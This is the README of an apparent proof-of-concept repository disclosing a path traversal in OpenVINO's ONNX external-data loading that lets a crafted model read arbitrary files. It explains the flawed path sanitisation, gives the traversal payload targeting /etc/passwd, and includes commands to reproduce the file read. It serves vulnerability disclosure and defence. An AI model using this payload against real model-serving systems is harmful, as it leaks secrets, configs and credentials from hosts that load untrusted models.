0xiviel/poc-openvino-onnx-path-traversal

PoC: OpenVINO ONNX External Data Path Traversal (Arbitrary File Read)

Summary

A malicious .onnx model can read arbitrary files from the filesystem via path traversal in the external_data location field.

Confirmed on OpenVINO 2025.4.1 — reads /etc/passwd contents as tensor data.

Root Cause

ov::util::sanitize_path() at file_util.cpp:107 only strips leading /.\\ characters. A path like x/../../../etc/passwd starts with x (not in strip set), so it passes through unchanged. std::filesystem::weakly_canonical() then resolves the .. components.

sanitize_path("x/../../../../../etc/passwd")
  → "x/../../../../../etc/passwd"  (first char 'x' not in /.\)

weakly_canonical(model_dir / "x/../../../../../etc/passwd")
  → "/etc/passwd"

Impact

• Arbitrary file read from any path accessible to the process
• In ML serving environments (OpenVINO Model Server, etc.), leaks secrets, configs, credentials
• File contents returned as tensor data in model output

Files

• malicious_path_traversal.onnx — malicious ONNX model with traversal payload
• x/ — dummy directory required for weakly_canonical resolution
• poc_onnx_path_traversal.py — PoC generator script

Reproduction

pip install openvino onnx
python poc_onnx_path_traversal.py
python -c "
import openvino as ov
core = ov.Core()
model = core.read_model('malicious_path_traversal.onnx')
for node in model.get_ordered_ops():
    if node.get_type_name() == 'Constant':
        print(node.get_data().tobytes().decode('utf-8', errors='replace')[:200])
"

Expected output: Contents of /etc/passwd

Affected Versions

All OpenVINO versions with ONNX external data support.